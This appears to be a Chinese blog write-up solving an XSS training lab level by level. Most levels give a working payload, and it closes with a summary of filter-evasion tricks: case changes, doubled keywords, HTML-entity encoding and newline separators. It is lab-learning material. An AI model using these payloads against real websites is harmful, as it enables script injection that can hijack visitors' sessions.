zoukankan      html  css  js  c++  java
  • xss靶场

    0x00前言

        无聊耍一耍游戏

    0x01闯关

    ## Level1

     

    比较简单,第一关随便插一插就好。

    Payload:        <script>alert(1)</script>

     

    ##Level2

     

    首先了解一下 htmlspecialchars( )函数。

     

    htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

    同样的提交第一关的payload: <script>alert(1)</script>

    查看第一关的html源码

     

    可以看到成功的将<script>嵌入了html里,而再第二关,加入了这个htmlspecialchars()函数过后,我们查看第二关的html源码

     

    可以看到<>符号被实体化了,这个函数对xss攻击有防护作用。

    但是第二关的xss在另一个点

     

    简单的对整个语句进行闭合就行了。

     

    Payload: 1"><script>alert(1)</script>

     

     

    ##Level3

     

     

    与第二关的区别就在于,这关把两个可控点都进行了实体化处理。这里就利用了htmlspecialchars()的一个特点,当htmlspecialchars没有设置第二个参数时,默认不转义单引号

    所以这里只需要闭合单引号,引入事件即可。

    Payload1’ onclick=’window.alert(1)

    记得完了过后要去点一下,才会弹框

     

    ##level4:

     

    看源码做题还是挺简单的,这里过滤了 <>,但是str3没有实体化,直接用事件

    Payload: “ onclick=”window.alert(1)

     

    ##level5

     

    和第四关不同的是,这里的$str3过滤了<scripton,这样不能用<script>和一些事件,但是这里又没有过滤<>,所以可以重新构造标签<a href=”javascript”>

     

    Payload: “><a href=javascript:alert(1);>test</a>

     

    ##level6

     

    虽然过滤了很多,但是可以大写绕过。。

    Payload: “><SCRIPT>alert(1)</SCRIPT>

     

    ##level7

     

    把这些字符过滤为空。。双写绕过就好

    Payload : "><scscriptript>alert(1)</scscriptript>

     

    ##level 8

     

     

    过滤了很多,可以看到 href 里面放了可控变量,但是这里script也被过滤了,看了wp,编码绕过,用的是 htmlencode 编码,这个burp 可以直接编码

    Payload : javascri&#x0070;t:alert() 

     

    ## level9

     

     

    和第八关的区别就是这里要链接里面必须包含 http:// ,用注释绕过,html里也有注释哦

     

    Payload:  javascri&#x0070;t:alert() /*http:// */

     

    ##Level10

     

     这关如果是黑盒测试的话,都不知道怎么去找到这个t_sort参数,估计是因为源码中有

     

    然后尝试去get 尝试这几个参数

     

    这里当我们 输入  “onclick=”window.alert(1),是可以成功插入html的,但是却没有地方点击触发

     

    只要我们在后面添加一个 type = text 这样覆盖了后面个hidden,然后就有一块text区域让我们触发

     

    最终payload:   t_sort=“onclick=”window.alert(1)type=”text

     

    然后点击就行

     

    ##level 11

     

     

    referer放入标签中,用事件就行差不多的。

    Payload: “onclick=”window.alert(1)” type=”text

     

    然后点击触发

     

     

    ##level 12

     

    也是差不多的,换汤没换药,改一下ua就行了

    Payload:

     

    然后也是同样去点击一下框框就行了

     

    ##level13

     

    添加一下cookie里的user就好

    Payload:

     

     

    #level14

     

    我曹这是什么东西??没见过。很骚的操作,等下整理。

     

    ##level15

     不求会,,后面整理

    ##level16

     

    过滤了 script,过滤了空格和‘/’这两个连接符,但是还可以用%0a或者%0d绕过,script的话添加标签,用事件绕过      //     /”也是连接符

    添加新标签和编码绕过:

    Payload: <img%0asrc=1%0aonerror=alert(1)>

     

    ##level17

     

     

    这道题留了几个疑问。

    这里两个参数都放在里面的,

     

    但是这里 src=后并没有引号,所以我们不需要输入引号,直接空格带进去就可以嵌入事件造成xss

    这里传入

    arg01=a%20onclick=window.alert(1)%20b&arg02=b

     

    成功闭合,但是这里不知道为啥点击了过后不会弹窗,后来百度才知道,onclick不持支 <embed> 标签

    这里用 onmousedown=

     

    支持onmousedown 事件的 HTML 标签:

    onmousedown 属性适用于所有 HTMl 元素,除了: <base>, <bdo>, <br>, <head>, <html>, <iframe>, <meta>, <param>, <script>, <style>, <title>.

     

    Payload:

    arg01=a%20onmousedown=window.alert(1)%20b&arg02=b

     

    ##level18

     

     

    17一样

     

    ##level19

     

     

    输入arg01=a&arg02=b

     

    可以看到,现在有双引号了,

     这道题思路好像我一点都没了解过,后面整理,因为我已经迫不及待的去挖两个了。

    0x02总结

    参考了这个师傅的总结挺不错的:https://blog.csdn.net/yukinorong/article/details/99824352

    1)根据查看html来看怎样去拼接。

    2) 被实体化了过后可以尝试一下单引号

    3)更好用的标签:<img src=x onerror=alert(1)><a href=javascript:alert(1)>111</a>

    4)更好用的参数:onmouseover=alert(1)

    5)注释 /**/ 和 //  拼接有 空格和 / 但是有时候也可用 %0d%0a

    6)关键字过滤问题:

    1. 大小写绕过(html不区分大小写),
    2. 双写绕过(只删除一次关键字的过滤)
    3. html字符编码转码绕过(特殊符号,关键字字母),
    4. 回车空格替换

     

  • 相关阅读:
    面试范围
    Spark集群基础概念 与 spark架构原理
    RDD 算子补充
    常用Actoin算子 与 内存管理 、共享变量、内存机制
    常用Transformation算子
    spark core (二)
    Spark 介绍
    JSON对象和string的相互转换
    javascript中substring和substr方法
    mongodb学习相关网址
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/12891778.html
Copyright © 2011-2022 走看看